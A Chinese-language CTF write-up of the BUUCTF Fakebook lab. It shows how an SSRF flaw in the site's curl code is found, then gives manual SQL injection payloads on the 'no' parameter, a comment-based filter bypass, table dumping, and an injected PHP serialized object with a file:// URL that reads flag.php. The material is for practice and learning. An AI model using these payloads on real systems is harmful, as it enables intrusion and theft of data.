[网鼎杯2018}fakebook靶场思路,MariaDB注入,通关教程前言

靶场链接:BUUCTF在线评测[%E7%BD%91%E9%BC%8E%E6%9D%AF%202018]Fakebook

Tips:更多优质【网络安全】文章主页

你的00后专属网安学习搭子-羽~

教程

首页

sql万能密码

登录失败

注册一个账号试试

当前页面好像也没有什么注入点

目录扫描

访问

得到user.php源码

复制代码
<?php
​
​
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
​
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
​
    function get($url)
    {
        $ch = curl_init();
​
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
​
        return $output;
    }
​
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
​
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
​
}

这句代码,很明显,存在ssrf漏洞,看看待会能不能用上

复制代码
    function get($url)
    {
        $ch = curl_init();
​
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
​
        return $output;
    }

SSRF参考:CTFHub技能树通关教程------SSRF漏洞原理攻击与防御(一)(超详细总结)

添加一条数据后

看到一个no参数

尝试注入,sql语句错误,存在sql注入漏洞

sqlmap失败

手工添加引号和注释符号#,还是报sql语句错误,没有回显,那么我们去掉单引号试试

复制代码
?no=1' and 1=2 #

Tips : 手工注入文章参考:从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

正常回显

复制代码
?no=1 and 1=2 #

查询没有6列

复制代码
?no=1 order by 6 #

order by 4正常回显,存在四列

复制代码
?no=1 order by 4 #

没有回显,大概率是过滤掉了,但不知道是过滤哪个关键词

复制代码
?no=1 union select 1,2,3,4 #

双写,看样子不是用了替换函数

复制代码
?no=1 ununionion select 1,2,3,4 #
​

使用/**/这个代替空格

复制代码
?no=1/**/union/**/select/**/1,2,3,4 #

no改成-1

当前数据库

复制代码
?no=-1/**/union/**/select 1,group_concat(database()),3,4 from information_schema.schemata #

fakebook,information_schema,mysql,performance_schema,test

爆表,得到表名users

复制代码
?no=-1/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' #

爆列,得到列名

复制代码
?no=-1/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' #

查找用户表中所有符合条件的数据,却发现有一个序列化的结果

复制代码
?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from users #

但是,没有正常回显啊

我们这样试试,把4替换为这个序列化的结果

一切正常

且源码中能显示正常结果的,是data伪协议标准格式,使用base64加密算法

复制代码
data:text/html;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSxjaHJvbWU9MSI+PG1ldGEgY29udGVudD0iYWx3YXlzIiBuYW1lPSJyZWZlcnJlciI+PG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IuWFqOeQg+mihuWFiOeahOS4reaWh+aQnOe0ouW8leaTjuOAgeiHtOWKm+S6juiuqee9keawkeabtOS+v+aNt+WcsOiOt+WPluS/oeaBr++8jOaJvuWIsOaJgOaxguOAgueZvuW6pui2hei/h+W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xhc3M9InRleHQtY29sb3IiPuS6kuiBlOe9keiNr+WTgeS/oeaBr+acjeWKoei1hOagvOivgeS5piAo5LqsKS3nu4/okKXmgKctMjAxNy0wMDIwPC9zcGFuPjwvcD48cCBjbGFzcz0ibGgiPjxhIGNsYXNzPSJ0ZXh0LWNvbG9yIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vbGljZW5jZS8iIHRhcmdldD0iX2JsYW5rIj7kv6Hmga/nvZHnu5zkvKDmkq3op4blkKzoioLnm67orrjlj6/or4EgMDExMDUxNjwvYT48L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnZhciBkYXRlPW5ldyBEYXRlLHllYXI9ZGF0ZS5nZXRGdWxsWWVhcigpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ5ZWFyIikuaW5uZXJUZXh0PSLCqSIreWVhcisiIEJhaWR1ICI8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==

解密之后,这不就是我新加的那条数据blog的网址嘛,确实存在ssrf漏洞

构造序列化对象,我们使用file协议,读取本地文件(/var/www/html/flag.php 这个路径之前每个报错界面基本都有,猜测flag在这个站点根目录下)

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受PHP的allow_url_fopen与allow_url_include配置影响

例如读取D盘目录下的指定文件:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

复制代码
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$res = new UserInfo();
echo serialize($res); // O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

构造payload

复制代码
?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users #

查看源码

解密得到flag

往期文章

从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

网络安全一场梦,护网三天就结束,多少有点走过场。

Love-Yi情侣网站存在sql注入漏洞

相关推荐
?333337 分钟前
CTFHub Web进阶-PHP-Bypass disable_function攻略
开发语言·安全·web安全·php
hking11111 分钟前
upload-labs关卡记录12
web安全·php
hunandede1 小时前
Ubuntu网络配置(桥接模式, nat模式, host主机模式)
网络·ubuntu·桥接模式
wellnw2 小时前
[Router]路由器常用的后台判断网络ping 可靠公共 IP 地址整理
网络
廿二又2 小时前
http 请求总结get
网络·网络协议·http
Vin0sen2 小时前
xiaomiR4c openwrt
网络
ai产品老杨2 小时前
报警推送消息升级的名厨亮灶开源了。
vue.js·人工智能·安全·开源·音视频
网安-轩逸2 小时前
基于ISO 21434的汽车网络安全实践
web安全·汽车·php
亚远景aspice2 小时前
亚远景-ISO 21434标准下的汽车网络安全测试:全面要求与实施策略
网络·web安全·汽车